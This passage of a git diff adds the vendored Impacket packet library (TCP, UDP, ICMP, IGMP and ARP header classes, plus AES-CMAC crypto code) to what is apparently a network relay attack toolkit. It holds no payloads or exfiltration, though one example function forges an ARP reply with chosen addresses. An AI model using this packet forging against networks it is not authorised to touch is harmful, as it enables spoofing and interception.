IPOption.IPOPT_TS): + raise ImpactPacketException("append_ip() not support for option type %d" % self.opt_type) + + p = self.get_ptr() + if not p: + raise ImpactPacketException("append_ip() failed, option ptr uninitialized") + + if (p + 4) > self.get_len(): + raise ImpactPacketException("append_ip() would overflow option") + + self.set_ip_address(p - 1, ip) + p += 4 + self.set_ptr(p) + + + def set_code(self, value): + self.set_byte(0, value) + + def get_code(self): + return self.get_byte(0) + + + def set_flags(self, flags): + if not (self.get_code() == IPOption.IPOPT_TS): + raise ImpactPacketException("Operation only supported on Timestamp option") + self.set_byte(3, flags) + + def get_flags(self, flags): + if not (self.get_code() == IPOption.IPOPT_TS): + raise ImpactPacketException("Operation only supported on Timestamp option") + return self.get_byte(3) + + + def set_len(self, len): + self.set_byte(1, len) + + + def set_ptr(self, ptr): + self.set_byte(2, ptr) + + def get_ptr(self): + return self.get_byte(2) + + def get_len(self): + return len(self.get_bytes()) + + + def __str__(self): + map = {IPOption.IPOPT_EOL : "End of List ", + IPOption.IPOPT_NOP : "No Operation ", + IPOption.IPOPT_RR : "Record Route ", + IPOption.IPOPT_TS : "Timestamp ", + IPOption.IPOPT_LSRR : "Loose Source Route ", + IPOption.IPOPT_SSRR : "Strict Source Route "} + + tmp_str = "\tIP Option: " + op = self.get_code() + if op in map: + tmp_str += map[op] + else: + tmp_str += "Code: %d " % op + + if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR: + tmp_str += self.print_addresses() + + + return tmp_str + + + def print_addresses(self): + p = 3 + tmp_str = "[" + if self.get_len() >= 7: # at least one complete IP address + while 1: + if p + 1 == self.get_ptr(): + tmp_str += "#" + tmp_str += self.get_ip_address(p) + p += 4 + if p >= self.get_len(): + break + else: + tmp_str += ", " + tmp_str += "] " + if self.get_ptr() % 4: # ptr field should be a multiple of 4 + tmp_str += "nonsense ptr field: %d " % self.get_ptr() + return tmp_str + + +class UDP(Header): + protocol = 17 + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if(aBuffer): + self.load_header(aBuffer) + + def get_uh_sport(self): + return self.get_word(0) + def set_uh_sport(self, value): + self.set_word(0, value) + + def get_uh_dport(self): + return self.get_word(2) + def set_uh_dport(self, value): + self.set_word(2, value) + + def get_uh_ulen(self): + return self.get_word(4) + + def set_uh_ulen(self, value): + self.set_word(4, value) + + def get_uh_sum(self): + return self.get_word(6) + + def set_uh_sum(self, value): + self.set_word(6, value) + self.auto_checksum = 0 + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_uh_sum()): + # if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing + # and won't meddle with the checksum or throw an exception + if not self.parent(): + return + + buffer = self.parent().get_pseudo_header() + + buffer += self.get_bytes() + data = self.get_data_as_string() + if(data): + buffer.fromstring(data) + self.set_uh_sum(self.compute_checksum(buffer)) + + def get_header_size(self): + return 8 + + def __str__(self): + tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport()) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + def get_packet(self): + # set total length + if(self.get_uh_ulen() == 0): + self.set_uh_ulen(self.get_size()) + return Header.get_packet(self) + +class TCP(Header): + protocol = 6 + TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags + def __init__(self, aBuffer = None): + Header.__init__(self, 20) + self.set_th_off(5) + self.__option_list = [] + if aBuffer: + self.load_header(aBuffer) + + def add_option(self, option): + self.__option_list.append(option) + + sum = 0 + for op in self.__option_list: + sum += op.get_size() + + if sum > 40: + raise ImpactPacketException("Cannot add TCP option, would overflow option space") + + def get_options(self): + return self.__option_list + + def swapSourceAndDestination(self): + oldSource = self.get_th_sport() + self.set_th_sport(self.get_th_dport()) + self.set_th_dport(oldSource) + + # + # Header field accessors + # + + def set_th_sport(self, aValue): + self.set_word(0, aValue) + + def get_th_sport(self): + return self.get_word(0) + + def get_th_dport(self): + return self.get_word(2) + + def set_th_dport(self, aValue): + self.set_word(2, aValue) + + def get_th_seq(self): + return self.get_long(4) + + def set_th_seq(self, aValue): + self.set_long(4, aValue) + + def get_th_ack(self): + return self.get_long(8) + + def set_th_ack(self, aValue): + self.set_long(8, aValue) + + def get_th_flags(self): + return self.get_word(12) & self.TCP_FLAGS_MASK + + def set_th_flags(self, aValue): + masked = self.get_word(12) & (~self.TCP_FLAGS_MASK) + nb = masked | (aValue & self.TCP_FLAGS_MASK) + return self.set_word(12, nb, ">") + + def get_th_win(self): + return self.get_word(14) + + def set_th_win(self, aValue): + self.set_word(14, aValue) + + def set_th_sum(self, aValue): + self.set_word(16, aValue) + self.auto_checksum = 0 + + def get_th_sum(self): + return self.get_word(16) + + def get_th_urp(self): + return self.get_word(18) + + def set_th_urp(self, aValue): + return self.set_word(18, aValue) + + # Flag accessors + + def get_th_reserved(self): + tmp_value = self.get_byte(12) & 0x0f + return tmp_value + + + def get_th_off(self): + tmp_value = self.get_byte(12) >> 4 + return tmp_value + + def set_th_off(self, aValue): + mask = 0xF0 + masked = self.get_byte(12) & (~mask) + nb = masked | ( (aValue << 4) & mask) + return self.set_byte(12, nb) + + def get_CWR(self): + return self.get_flag(128) + def set_CWR(self): + return self.set_flags(128) + def reset_CWR(self): + return self.reset_flags(128) + + def get_ECE(self): + return self.get_flag(64) + def set_ECE(self): + return self.set_flags(64) + def reset_ECE(self): + return self.reset_flags(64) + + def get_URG(self): + return self.get_flag(32) + def set_URG(self): + return self.set_flags(32) + def reset_URG(self): + return self.reset_flags(32) + + def get_ACK(self): + return self.get_flag(16) + def set_ACK(self): + return self.set_flags(16) + def reset_ACK(self): + return self.reset_flags(16) + + def get_PSH(self): + return self.get_flag(8) + def set_PSH(self): + return self.set_flags(8) + def reset_PSH(self): + return self.reset_flags(8) + + def get_RST(self): + return self.get_flag(4) + def set_RST(self): + return self.set_flags(4) + def reset_RST(self): + return self.reset_flags(4) + + def get_SYN(self): + return self.get_flag(2) + def set_SYN(self): + return self.set_flags(2) + def reset_SYN(self): + return self.reset_flags(2) + + def get_FIN(self): + return self.get_flag(1) + def set_FIN(self): + return self.set_flags(1) + def reset_FIN(self): + return self.reset_flags(1) + + # Overridden Methods + + def get_header_size(self): + return 20 + len(self.get_padded_options()) + + def calculate_checksum(self): + if not self.auto_checksum or not self.parent(): + return + + self.set_th_sum(0) + buffer = self.parent().get_pseudo_header() + buffer += self.get_bytes() + buffer += self.get_padded_options() + + data = self.get_data_as_string() + if(data): + buffer.fromstring(data) + + res = self.compute_checksum(buffer) + + self.set_th_sum(self.compute_checksum(buffer)) + + def get_packet(self): + "Returns entire packet including child data as a string. This is the function used to extract the final packet" + + # only change th_off value if options are present + if len(self.__option_list): + self.set_th_off(self.get_header_size() // 4) + + self.calculate_checksum() + + bytes = self.get_bytes() + self.get_padded_options() + data = self.get_data_as_string() + + if data: + return bytes.tostring() + data + else: + return bytes.tostring() + + def load_header(self, aBuffer): + self.set_bytes_from_string(aBuffer[:20]) + opt_left = (self.get_th_off() - 5) * 4 + opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) + if len(opt_bytes) != opt_left: + raise ImpactPacketException("Cannot load options from truncated packet") + + while opt_left: + op_kind = opt_bytes[0] + if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP: + new_option = TCPOption(op_kind) + op_len = 1 + else: + op_len = opt_bytes[1] + if op_len > len(opt_bytes): + raise ImpactPacketException("TCP Option length is too high") + if op_len < 2: + raise ImpactPacketException("TCP Option length is too low") + + new_option = TCPOption(op_kind) + new_option.set_bytes(opt_bytes[:op_len]) + + opt_bytes = opt_bytes[op_len:] + opt_left -= op_len + self.add_option(new_option) + if op_kind == TCPOption.TCPOPT_EOL: + break + + # + # Private + # + + def get_flag(self, bit): + if self.get_th_flags() & bit: + return 1 + else: + return 0 + + def reset_flags(self, aValue): + tmp_value = self.get_th_flags() & (~aValue) + return self.set_th_flags(tmp_value) + + def set_flags(self, aValue): + tmp_value = self.get_th_flags() | aValue + return self.set_th_flags(tmp_value) + + def get_padded_options(self): + "Return an array containing all options padded to a 4 byte boundary" + op_buf = array.array('B') + for op in self.__option_list: + op_buf += op.get_bytes() + num_pad = (4 - (len(op_buf) % 4)) % 4 + if num_pad: + op_buf.fromstring("\0" * num_pad) + return op_buf + + def __str__(self): + tmp_str = 'TCP ' + if self.get_ECE(): + tmp_str += 'ece ' + if self.get_CWR(): + tmp_str += 'cwr ' + if self.get_ACK(): + tmp_str += 'ack ' + if self.get_FIN(): + tmp_str += 'fin ' + if self.get_PSH(): + tmp_str += 'push ' + if self.get_RST(): + tmp_str += 'rst ' + if self.get_SYN(): + tmp_str += 'syn ' + if self.get_URG(): + tmp_str += 'urg ' + tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport()) + for op in self.__option_list: + tmp_str += '\n' + str(op) + + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + +class TCPOption(PacketBuffer): + TCPOPT_EOL = 0 + TCPOPT_NOP = 1 + TCPOPT_MAXSEG = 2 + TCPOPT_WINDOW = 3 + TCPOPT_SACK_PERMITTED = 4 + TCPOPT_SACK = 5 + TCPOPT_TIMESTAMP = 8 + TCPOPT_SIGNATURE = 19 + + + def __init__(self, kind, data = None): + + if kind == TCPOption.TCPOPT_EOL: + PacketBuffer.__init__(self, 1) + self.set_kind(TCPOption.TCPOPT_EOL) + elif kind == TCPOption.TCPOPT_NOP: + PacketBuffer.__init__(self, 1) + self.set_kind(TCPOption.TCPOPT_NOP) + elif kind == TCPOption.TCPOPT_MAXSEG: + PacketBuffer.__init__(self, 4) + self.set_kind(TCPOption.TCPOPT_MAXSEG) + self.set_len(4) + if data: + self.set_mss(data) + else: + self.set_mss(512) + elif kind == TCPOption.TCPOPT_WINDOW: + PacketBuffer.__init__(self, 3) + self.set_kind(TCPOption.TCPOPT_WINDOW) + self.set_len(3) + if data: + self.set_shift_cnt(data) + else: + self.set_shift_cnt(0) + elif kind == TCPOption.TCPOPT_TIMESTAMP: + PacketBuffer.__init__(self, 10) + self.set_kind(TCPOption.TCPOPT_TIMESTAMP) + self.set_len(10) + if data: + self.set_ts(data) + else: + self.set_ts(0) + elif kind == TCPOption.TCPOPT_SACK_PERMITTED: + PacketBuffer.__init__(self, 2) + self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED) + self.set_len(2) + + elif kind == TCPOption.TCPOPT_SACK: + PacketBuffer.__init__(self, 2) + self.set_kind(TCPOption.TCPOPT_SACK) + + def set_left_edge(self, aValue): + self.set_long (2, aValue) + + def set_right_edge(self, aValue): + self.set_long (6, aValue) + + def set_kind(self, kind): + self.set_byte(0, kind) + + + def get_kind(self): + return self.get_byte(0) + + + def set_len(self, len): + if self.get_size() < 2: + raise ImpactPacketException("Cannot set length field on an option having a size smaller than 2 bytes") + self.set_byte(1, len) + + def get_len(self): + if self.get_size() < 2: + raise ImpactPacketException("Cannot retrieve length field from an option having a size smaller than 2 bytes") + return self.get_byte(1) + + def get_size(self): + return len(self.get_bytes()) + + + def set_mss(self, len): + if self.get_kind() != TCPOption.TCPOPT_MAXSEG: + raise ImpactPacketException("Can only set MSS on TCPOPT_MAXSEG option") + self.set_word(2, len) + + def get_mss(self): + if self.get_kind() != TCPOption.TCPOPT_MAXSEG: + raise ImpactPacketException("Can only retrieve MSS from TCPOPT_MAXSEG option") + return self.get_word(2) + + def set_shift_cnt(self, cnt): + if self.get_kind() != TCPOption.TCPOPT_WINDOW: + raise ImpactPacketException("Can only set Shift Count on TCPOPT_WINDOW option") + self.set_byte(2, cnt) + + def get_shift_cnt(self): + if self.get_kind() != TCPOption.TCPOPT_WINDOW: + raise ImpactPacketException("Can only retrieve Shift Count from TCPOPT_WINDOW option") + return self.get_byte(2) + + def get_ts(self): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option") + return self.get_long(2) + + def set_ts(self, ts): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option") + self.set_long(2, ts) + + def get_ts_echo(self): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option") + return self.get_long(6) + + def set_ts_echo(self, ts): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option") + self.set_long(6, ts) + + def __str__(self): + map = { TCPOption.TCPOPT_EOL : "End of List ", + TCPOption.TCPOPT_NOP : "No Operation ", + TCPOption.TCPOPT_MAXSEG : "Maximum Segment Size ", + TCPOption.TCPOPT_WINDOW : "Window Scale ", + TCPOption.TCPOPT_TIMESTAMP : "Timestamp " } + + tmp_str = "\tTCP Option: " + op = self.get_kind() + if op in map: + tmp_str += map[op] + else: + tmp_str += " kind: %d " % op + if op == TCPOption.TCPOPT_MAXSEG: + tmp_str += " MSS : %d " % self.get_mss() + elif op == TCPOption.TCPOPT_WINDOW: + tmp_str += " Shift Count: %d " % self.get_shift_cnt() + elif op == TCPOption.TCPOPT_TIMESTAMP: + pass # TODO + return tmp_str + +class ICMP(Header): + protocol = 1 + ICMP_ECHOREPLY = 0 + ICMP_UNREACH = 3 + ICMP_UNREACH_NET = 0 + ICMP_UNREACH_HOST = 1 + ICMP_UNREACH_PROTOCOL = 2 + ICMP_UNREACH_PORT = 3 + ICMP_UNREACH_NEEDFRAG = 4 + ICMP_UNREACH_SRCFAIL = 5 + ICMP_UNREACH_NET_UNKNOWN = 6 + ICMP_UNREACH_HOST_UNKNOWN = 7 + ICMP_UNREACH_ISOLATED = 8 + ICMP_UNREACH_NET_PROHIB = 9 + ICMP_UNREACH_HOST_PROHIB = 10 + ICMP_UNREACH_TOSNET = 11 + ICMP_UNREACH_TOSHOST = 12 + ICMP_UNREACH_FILTERPROHIB = 13 + ICMP_UNREACH_HOST_PRECEDENCE = 14 + ICMP_UNREACH_PRECEDENCE_CUTOFF = 15 + ICMP_SOURCEQUENCH = 4 + ICMP_REDIRECT = 5 + ICMP_REDIRECT_NET = 0 + ICMP_REDIRECT_HOST = 1 + ICMP_REDIRECT_TOSNET = 2 + ICMP_REDIRECT_TOSHOST = 3 + ICMP_ALTHOSTADDR = 6 + ICMP_ECHO = 8 + ICMP_ROUTERADVERT = 9 + ICMP_ROUTERSOLICIT = 10 + ICMP_TIMXCEED = 11 + ICMP_TIMXCEED_INTRANS = 0 + ICMP_TIMXCEED_REASS = 1 + ICMP_PARAMPROB = 12 + ICMP_PARAMPROB_ERRATPTR = 0 + ICMP_PARAMPROB_OPTABSENT = 1 + ICMP_PARAMPROB_LENGTH = 2 + ICMP_TSTAMP = 13 + ICMP_TSTAMPREPLY = 14 + ICMP_IREQ = 15 + ICMP_IREQREPLY = 16 + ICMP_MASKREQ = 17 + ICMP_MASKREPLY = 18 + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + + def get_header_size(self): + anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 } + if self.get_icmp_type() in anamolies: + return anamolies[self.get_icmp_type()] + else: + return 8 + + def get_icmp_type(self): + return self.get_byte(0) + + def set_icmp_type(self, aValue): + self.set_byte(0, aValue) + + def get_icmp_code(self): + return self.get_byte(1) + + def set_icmp_code(self, aValue): + self.set_byte(1, aValue) + + def get_icmp_cksum(self): + return self.get_word(2) + + def set_icmp_cksum(self, aValue): + self.set_word(2, aValue) + self.auto_checksum = 0 + + def get_icmp_gwaddr(self): + return self.get_ip_address(4) + + def set_icmp_gwaddr(self, ip): + self.set_ip_address(4, ip) + + def get_icmp_id(self): + return self.get_word(4) + + def set_icmp_id(self, aValue): + self.set_word(4, aValue) + + def get_icmp_seq(self): + return self.get_word(6) + + def set_icmp_seq(self, aValue): + self.set_word(6, aValue) + + def get_icmp_void(self): + return self.get_long(4) + + def set_icmp_void(self, aValue): + self.set_long(4, aValue) + + + def get_icmp_nextmtu(self): + return self.get_word(6) + + def set_icmp_nextmtu(self, aValue): + self.set_word(6, aValue) + + def get_icmp_num_addrs(self): + return self.get_byte(4) + + def set_icmp_num_addrs(self, aValue): + self.set_byte(4, aValue) + + def get_icmp_wpa(self): + return self.get_byte(5) + + def set_icmp_wpa(self, aValue): + self.set_byte(5, aValue) + + def get_icmp_lifetime(self): + return self.get_word(6) + + def set_icmp_lifetime(self, aValue): + self.set_word(6, aValue) + + def get_icmp_otime(self): + return self.get_long(8) + + def set_icmp_otime(self, aValue): + self.set_long(8, aValue) + + def get_icmp_rtime(self): + return self.get_long(12) + + def set_icmp_rtime(self, aValue): + self.set_long(12, aValue) + + def get_icmp_ttime(self): + return self.get_long(16) + + def set_icmp_ttime(self, aValue): + self.set_long(16, aValue) + + def get_icmp_mask(self): + return self.get_ip_address(8) + + def set_icmp_mask(self, mask): + self.set_ip_address(8, mask) + + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_icmp_cksum()): + buffer = self.get_buffer_as_string() + data = self.get_data_as_string() + if data: + buffer += data + + tmp_array = array.array('B', buffer) + self.set_icmp_cksum(self.compute_checksum(tmp_array)) + + def get_type_name(self, aType): + tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'} + answer = tmp_type.get(aType, 'UNKNOWN') + return answer + + def get_code_name(self, aType, aCode): + tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']} + tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST'] + tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON'] + tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS'] + tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH'] + tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED'] + if aType in tmp_code: + tmp_list = tmp_code[aType] + if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]): + return 'UNKNOWN' + else: + return tmp_list[aCode] + else: + return 'UNKNOWN' + + def __str__(self): + tmp_type = self.get_icmp_type() + tmp_code = self.get_icmp_code() + tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type) + tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code) + if self.child(): + tmp_str += '\n' + str( self.child() ) + return tmp_str + + def isDestinationUnreachable(self): + return self.get_icmp_type() == 3 + + def isError(self): + return not self.isQuery() + + def isHostUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 1) + + def isNetUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 0) + + def isPortUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 3) + + def isProtocolUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 2) + + def isQuery(self): + tmp_dict = {8:'', 9:'', 10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''} + return self.get_icmp_type() in tmp_dict + +class IGMP(Header): + protocol = 2 + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + + def get_igmp_type(self): + return self.get_byte(0) + + def set_igmp_type(self, aValue): + self.set_byte(0, aValue) + + def get_igmp_code(self): + return self.get_byte(1) + + def set_igmp_code(self, aValue): + self.set_byte(1, aValue) + + def get_igmp_cksum(self): + return self.get_word(2) + + def set_igmp_cksum(self, aValue): + self.set_word(2, aValue) + + def get_igmp_group(self): + return self.get_long(4) + + def set_igmp_group(self, aValue): + self.set_long(4, aValue) + + def get_header_size(self): + return 8 + + def get_type_name(self, aType): + tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '} + answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ') + return answer + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_igmp_cksum()): + self.set_igmp_cksum(self.compute_checksum(self.get_bytes())) + + def __str__(self): + tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type()) + tmp_str += 'Group: ' + socket.inet_ntoa(struct.pack('!L',self.get_igmp_group())) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + + +class ARP(Header): + ethertype = 0x806 + def __init__(self, aBuffer = None): + Header.__init__(self, 7) + if aBuffer: + self.load_header(aBuffer) + + def get_ar_hrd(self): + return self.get_word(0) + + def set_ar_hrd(self, aValue): + self.set_word(0, aValue) + + def get_ar_pro(self): + return self.get_word(2) + + def set_ar_pro(self, aValue): + self.set_word(2, aValue) + + def get_ar_hln(self): + return self.get_byte(4) + + def set_ar_hln(self, aValue): + self.set_byte(4, aValue) + + def get_ar_pln(self): + return self.get_byte(5) + + def set_ar_pln(self, aValue): + self.set_byte(5, aValue) + + def get_ar_op(self): + return self.get_word(6) + + def set_ar_op(self, aValue): + self.set_word(6, aValue) + + def get_ar_sha(self): + tmp_size = self.get_ar_hln() + return self.get_bytes().tolist()[8: 8 + tmp_size] + + def set_ar_sha(self, aValue): + for i in range(0, self.get_ar_hln()): + self.set_byte(i + 8, aValue[i]) + + def get_ar_spa(self): + tmp_size = self.get_ar_pln() + return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size] + + def set_ar_spa(self, aValue): + for i in range(0, self.get_ar_pln()): + self.set_byte(i + 8 + self.get_ar_hln(), aValue[i]) + + def get_ar_tha(self): + tmp_size = self.get_ar_hln() + tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() + return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] + + def set_ar_tha(self, aValue): + tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() + for i in range(0, self.get_ar_hln()): + self.set_byte(i + tmp_from, aValue[i]) + + def get_ar_tpa(self): + tmp_size = self.get_ar_pln() + tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln() + return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] + + def set_ar_tpa(self, aValue): + tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln() + for i in range(0, self.get_ar_pln()): + self.set_byte(i + tmp_from, aValue[i]) + + def get_header_size(self): + return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln()) + + def get_op_name(self, ar_op): + tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'} + answer = tmp_dict.get(ar_op, 'UNKNOWN') + return answer + + def get_hrd_name(self, ar_hrd): + tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'} + answer = tmp_dict.get(ar_hrd, 'UNKNOWN') + return answer + + + def as_hrd(self, anArray): + if not anArray: + return '' + tmp_str = '%x' % anArray[0] + for i in range(1, len(anArray)): + tmp_str += ':%x' % anArray[i] + return tmp_str + + def as_pro(self, anArray): + if not anArray: + return '' + tmp_str = '%d' % anArray[0] + for i in range(1, len(anArray)): + tmp_str += '.%d' % anArray[i] + return tmp_str + + def __str__(self): + tmp_op = self.get_ar_op() + tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' ' + tmp_str += 'opcode: ' + self.get_op_name(tmp_op) + tmp_str += '\n' + self.as_hrd(self.get_ar_sha()) + ' -> ' + tmp_str += self.as_hrd(self.get_ar_tha()) + tmp_str += '\n' + self.as_pro(self.get_ar_spa()) + ' -> ' + tmp_str += self.as_pro(self.get_ar_tpa()) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + +def example(): #To execute an example, remove this line + a = Ethernet() + b = ARP() + c = Data('Hola loco!!!') + b.set_ar_hln(6) + b.set_ar_pln(4) + #a.set_ip_dst('192.168.22.6') + #a.set_ip_src('1.1.1.2') + a.contains(b) + b.contains(c) + b.set_ar_op(2) + b.set_ar_hrd(1) + b.set_ar_spa((192, 168, 22, 6)) + b.set_ar_tpa((192, 168, 66, 171)) + a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d)) + a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe)) + print("beto %s" % a) diff --git a/tools/MultiRelay/impacket-dev/impacket/__init__.py b/tools/MultiRelay/impacket-dev/impacket/__init__.py new file mode 100644 index 0000000..92a5d6b --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/__init__.py @@ -0,0 +1,25 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# + +# Set default logging handler to avoid "No handler found" warnings. +import logging +try: # Python 2.7+ + from logging import NullHandler +except ImportError: + class NullHandler(logging.Handler): + def emit(self, record): + pass + +# All modules inside this library MUST use this logger (impacket) +# It is up to the library consumer to do whatever is wanted +# with the logger output. By default it is forwarded to the +# upstream logger + +LOG = logging.getLogger(__name__) +LOG.addHandler(NullHandler()) diff --git a/tools/MultiRelay/impacket-dev/impacket/crypto.py b/tools/MultiRelay/impacket-dev/impacket/crypto.py new file mode 100644 index 0000000..9760426 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/crypto.py @@ -0,0 +1,346 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (beto@coresecurity.com) +# +# Description: +# RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt) +# RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt) +# +# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation +# (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108) +# +# [MS-LSAD] Section 5.1.2 +# [MS-SAMR] Section 2.2.11.1.1 + +from __future__ import division +from __future__ import print_function +from impacket import LOG +try: + from Cryptodome.Cipher import DES, AES +except Exception: + LOG.error("Warning: You don't have any crypto installed. You need pycryptodomex") + LOG.error("See https://pypi.org/project/pycryptodomex/") +from struct import pack, unpack +from impacket.structure import Structure +import hmac, hashlib +from six import b + +def Generate_Subkey(K): + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Algorithm Generate_Subkey + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : K (128-bit key) + +# + Output : K1 (128-bit first subkey) + +# + K2 (128-bit second subkey) + +# +-------------------------------------------------------------------+ +# + + +# + Constants: const_Zero is 0x00000000000000000000000000000000 + +# + const_Rb is 0x00000000000000000000000000000087 + +# + Variables: L for output of AES-128 applied to 0^128 + +# + + +# + Step 1. L := AES-128(K, const_Zero); + +# + Step 2. if MSB(L) is equal to 0 + +# + then K1 := L << 1; + +# + else K1 := (L << 1) XOR const_Rb; + +# + Step 3. if MSB(K1) is equal to 0 + +# + then K2 := K1 << 1; + +# + else K2 := (K1 << 1) XOR const_Rb; + +# + Step 4. return K1, K2; + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + AES_128 = AES.new(K, AES.MODE_ECB) + + L = AES_128.encrypt(bytes(bytearray(16))) + + LHigh = unpack('>Q',L[:8])[0] + LLow = unpack('>Q',L[8:])[0] + + K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF + K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF + + if (LHigh >> 63): + K1Low ^= 0x87 + + K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF + K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF + + if (K1High >> 63): + K2Low ^= 0x87 + + K1 = bytearray(pack('>QQ', K1High, K1Low)) + K2 = bytearray(pack('>QQ', K2High, K2Low)) + + return K1, K2 + +def XOR_128(N1,N2): + + J = bytearray() + for i in range(len(N1)): + #J.append(indexbytes(N1,i) ^ indexbytes(N2,i)) + J.append(N1[i] ^ N2[i]) + return J + +def PAD(N): 